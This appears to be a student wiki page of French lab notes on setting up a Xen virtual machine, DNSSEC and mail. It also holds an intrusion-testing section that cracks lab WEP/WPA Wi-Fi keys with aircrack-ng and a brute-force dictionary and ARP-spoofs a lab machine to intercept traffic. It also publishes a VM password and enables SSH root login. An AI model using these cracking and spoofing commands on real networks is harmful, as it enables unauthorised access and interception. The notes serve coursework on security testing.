TP sysres IMA2a5 2020/2021 G2

De Wiki d'activités IMA
Révision datée du 13 novembre 2020 à 10:02 par Gherbome (discussion | contributions) (Sécurisation de données)

Introduction

Présentation du projet

Partie Hardware:

Serveur capbreton

Remplacement du rack dans la baie

Réception des nouveaux berceaux. Nous avons mis les disques durs de 3 To dans les nouveaux berceaux puis nous les avons insérés dans le serveur. Grâce aux voyant lumineux

Prochaine étape: Reboot le serveur pour que les disques soient reconnu par le serveur, peut être aller dans le boot.

Nous devions aussi relier les connexions fibre et cuivre. Mais pour cela, nous devions déterminer quel port correspond avec quelle interface. Pour cela nous avons utilisé la commande ethtool pour faire clignoter le port correspondant à l'interface choisie.

ethtool -p eth7

ethtool -p eth1

Fibre Cuivre
Eth1 X
Eth7 X

Borne Wifi

Machine Virtuelle

Creation machine virtuelle

Connexion au serveur de virtualisation

Dans le cadre de ce TP notre machine virtuelle va être installé sur le serveur nommé Capbreton. Pour procéder à la création de la machine virtuelle nous allons donc nous connecter sur Capbreton par l'intermédiaire de SSH avec la commande suivante :

ssh capbreton.plil.info

Installation de la machine virtuelle

Nous allons utiliser Xen un logiciel de virtualisation qui permet de faire tourner plusieurs machines virtuelle sur une machine. Notre machine possédera les caractéristiques suivantes :

  • Nom : concorde
  • Adresse IP : 193.48.57.165
  • Masque Réseau : 255.255.255.248
  • Routeur : 193.48.57.163

La ligne de commande suivante permet la création de la machine avec les caractéristiques défini ci-dessus :

xen-create-image --hostname concorde --ip 193.48.57.165 --netmask 255.255.255.248 --gateway 193.48.57.163 --dir /usr/local/xen --dist beowulf

Pour voir l'avancement de l'installation il suffit de faire la commande: tail -f /var/log/xen-tools/concorde.cfg

Configuration de la machine virtuelle

Dans cette partie, nous allons procéder à la configuration de la machine virtuelle. Pour cela nous allons devoir modifier le fichier de configuration situé au chemin suivant : /etc/xen/concorde.cfg

Une fois dans le fichier de configuration, il faudra modifier la ligne commençant par vif situé dans la partie "Networking", la ligne doit devenir :

vif = ['mac=16:3E:85:9F:6E, bridge=IMA2a5']

Ensuite, nous avons défini un mot de passe plus simple grâce à la commande : passwd Pour la suite du TP le mot de passe sera : glopglopglop

Enfin voici quelques commande de base pour utiliser Xen :

  • Voir les machine virtuelle démarrées : xen list
  • Démarrer sa machine virtuelle : xen create /etc/xen/concorde.cfg
  • Obtenir le terminal de la machine virtuelle : xen console concorde

Creation répertoire Home et Var

Creation des volumes logiques

lvcreate -L10G -n concorde-home virtual

lvcreate -L10G -n concorde-var virtual


Les commandes suivantes permettent de formater une partition mke2fs /dev/virtual/rafale-home

mke2fs /dev/virtual/rafale-var

Dans /etc/xen/concorde.cfg

disk    	= [
                	'file:/usr/local/xen/domains/rafale/disk.img,xvda2,w',
                	'file:/usr/local/xen/domains/rafale/swap.img,xvda1,w',               
                       'phy:/dev/virtual/rafale-home,xvdb1,w',
                       'phy:/dev/virtual/rafale-var,xvdb2,w',
                 ]

Le fichier /etc/fstab permet à la machine virtuelle de connaitre l'existence de ses nouveaux espace mémoire, nous devons donc le modifier :

# /etc/fstab: static file system information.
#
# <file system> <mount point>   <type>  <options>       <dump>  <pass>
proc            /proc           proc    defaults        0       0
devpts          /dev/pts        devpts  rw,noexec,nosuid,gid=5,mode=620 0  0
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvdb1 /home ext4 defaults 0 2
/dev/xvdb2 /var ext4 defaults 0 2


Enfin pour finaliser l'opération il faut monté le dossier /var. Cependant cela ne peut être fait directement, il faut donc passé par un dossier tampon (ici /mnt)

mount /dev/xvdb2 /mnt
mv /var/* /mnt
umount /mnt
mount -a

Pour être sur que l'opération à correctement été réalisée taper lsblk qui permet de voir le système de fichier

Activation du SSH

Cela peut être intéressant de pouvoir se connecter directement sur notre machine virtuelle via sont adresse ip pour cela nous devons installer ssh apt install openssh-server

ensuite il faut modifier un fichier de connexion pour permet l'accès grâce à SSH. Dans le fichier /etc/ssh/sshd_config nous allons décommenter la ligne suivante : permitRootLogin

Ensuite un redémarrage de ssh permettra de prendre en code les nouvelles modification service ssh restart

Apache

apt install apache2

Nous allons vérifier que le port d'écoute est le 443. Il faut donc aller dans /etc/apache2/ports.conf

On installe openSSL: apt-get install openssl

Configuration SSH

vi /etc/ssh/ssh_config

  • Il faut ensuite dé-commenter la ligne "permitRootLogin" et remplacer par "yes".
  • On redémarre le ssh avec la commande service ssh restart

Configuration DNS

Par l'intermédiaire du site gandi.net, j'ai acheté le nom de domaine "gherbomel.site" sudo apt install bind9

Sécurisation du serveur DNS

Dans le fichier /etc/bind/named.conf.options ajouter dnssec-enable yes; Nous allons créer un dossier dans lequel nous allons générer les clés

cd /etc/bind
mkdir gherbomel.site.dnssec

Génération des clés:

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE gherbomel.site
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE gherbomel.site

Avec la commande mv on renomme les fichiers qui seront :

gherbomel.site-ksk.key
gherbomel.site-ksk.private
gherbomel.site-zsk.key
gherbomel.site-zsk.private

On apporte quelques modifications à /etc/bind/db.gherbomel.site:

$include /etc/bind/gherbomel.site.dnssec/gherbomel.site-ksk.key
$include /etc/bind/gherbomel.site.dnssec/gherbomel.site-zsk.key

dnssec-signzone -o gherbomel.site -k gherbomel.site-ksk ../db.gherbomel.site gherbomel.site-zsk

Cependant la fonction ne fonctionne pas avec le message d'erreur suivant : No non-KSK DNSKEY found; supply a ZSK or use '-z'.

Par la suite en régénérant les clés cela à fonctionner.

Dans le fichier named.conf.local on modifie la ligne suivante : file "/etc/bind/db.gherbomel.site.signed" Puis faire un service bind restart

Ensuite il faut ajouter les clés ksk dans gandi.net dans l'onglet DNSSEC. Il faut porter une attention à choisir le bon chiffrement (RSA/SHA1) Il faut donc copier le contenu de la commande suivante : cat gherbomel.site-ksk.key

Génération certificat

boite mail : apt install postfix choisir site internet mettre gherbomel.site dans /etc/alliases rajouter la ligne admin: root + commande : "newaliases" on installe mailx avec la commande apt install bsd-mailx

Tests d'intrusion

Pour cracker le wifi nous allons installer aircrack-ng

apt-get aircrack-ng

Il faut faire en sorte que le firmware de la clé WIFI soit installé

apt-get install firmware-linux-nonfree

WEP

Dans cette partie, nous allons cracker le mot de passe du wifi. Pour faire cela aircrack va collecter un nombre suffisant de paquet pour retrouver le mot de passe.

Avec la commande : ip-l nous allons conntaire les différentes interfaces.

Ensuite nous allons activer le mode moniteur de l'interface avec la commande suivante : sudo airmon-ng start wlx40a5ef05a110

Avec la commande : sudo airmon-ng nous pouvons voir tous les paquets

Nous allons regarder plus particulièrement sur l'interface wlan0mon, le canal 9 avec le SSID 04:DA:D2:9C:50:51 et envoyer les résultats dans un fichier nommé dataCrack.txt

airodump-ng wlan0mon -c 9 --bssid 04:DA:D2:9C:50:51 --write dataCrack.txt

A partir de la commande suivante : aircrack-ng dataCrack.txt-02.cap le programme va chercher la clé WEP. Il est possible qu'il n'y est pas assez de paquet, il faudra donc attendre le temps qu'il y est le nombre suffisant de paquets.

WPA

Grâce à cette commande nous allons rechercher le paquet avec le handshake : airodump-ng -c 4 --bssid 00:14:1B:60:8C:21 --write dataCrackWPA

On va génerer un dictionnaire de code ayant 8 caractères comprenant les caractères 0,1,2,3,4,5,6,7,8,9 crunch 8 8 0123456789 >> Dictionnaire.txt

La commande suivante permettra de faire une attaque par force brute : aircrack -ng -b 00:14:1B:60:8C:21 -w Dictionnaire.txt dataCrackWPA-01.cap

Pour améliorer le temps de résolution qui est de l'ordre de 5 heures, nous pouvons subdiviser le dictionnaire et tester à partir d'autres machines

Aircrack-ng 1.5.2 
     [01:02:31] 20127478/102795810 keys tested (2803.06 k/s) 
     Time left: 8 hours, 11 minutes, 32 seconds                19.58%
                          KEY FOUND! [ 20111111 ]


     Master Key     : B2 87 CD DD 51 07 AE 60 27 DF EC 8F 90 28 7D 85 
                      DE DC 38 A4 66 39 28 A5 27 75 73 78 F1 71 FA F5 
     Transient Key  : 0D AE D1 8A 3C 3C 2C 20 5B 4A 88 05 B6 FA CD C2 
                      91 2F 6B 4A FE B5 68 05 C3 86 92 C3 EC 11 A3 E3 
                      F0 1B BD 8C 18 87 F4 5E 60 59 D8 7A E9 2B D2 FB 
                      00 27 28 84 9E 12 4A EA 5E BC 2F 29 36 0F 0F 0E 
     EAPOL HMAC     : 83 15 59 EA 43 52 95 38 E2 C6 AD 8F 2F 37 90 29

L'homme du milieu

Pour modifier la variable /proc/sys/net/ipv4/ip_forward il faut faire la commande : echo 1 > /proc/sys/net/ipv4/ip_forward

On se fait passer pour le routeur au près de zabeth03 : arpspoof -t zabeth03 -i bridge 172.26.145.254

A partir de ce moment l'ordinateur se fait passer pour le routeur, nous pouvons donc voir le contenu des messages envoyé depuis une page en html

Rajouter IMAGE

Sécurisation de données

on crée 3 partitions de 1GO pour faire du raid5 expliquer briefement ce qu'est le raid5

lvcreate -L1G -n ima2a5-concorde-d1 virtual lvcreate -L1G -n ima2a5-concorde-d2 virtual lvcreate -L1G -n ima2a5-concorde-d3 virtual

mke2fs /dev/virtual/ima2a5-concorde-d1 mke2fs /dev/virtual/ima2a5-concorde-d2 mke2fs /dev/virtual/ima2a5-concorde-d3

Chiffrement de données

Chiffrement clé usb: apt install lvm2 apt install cryptsetup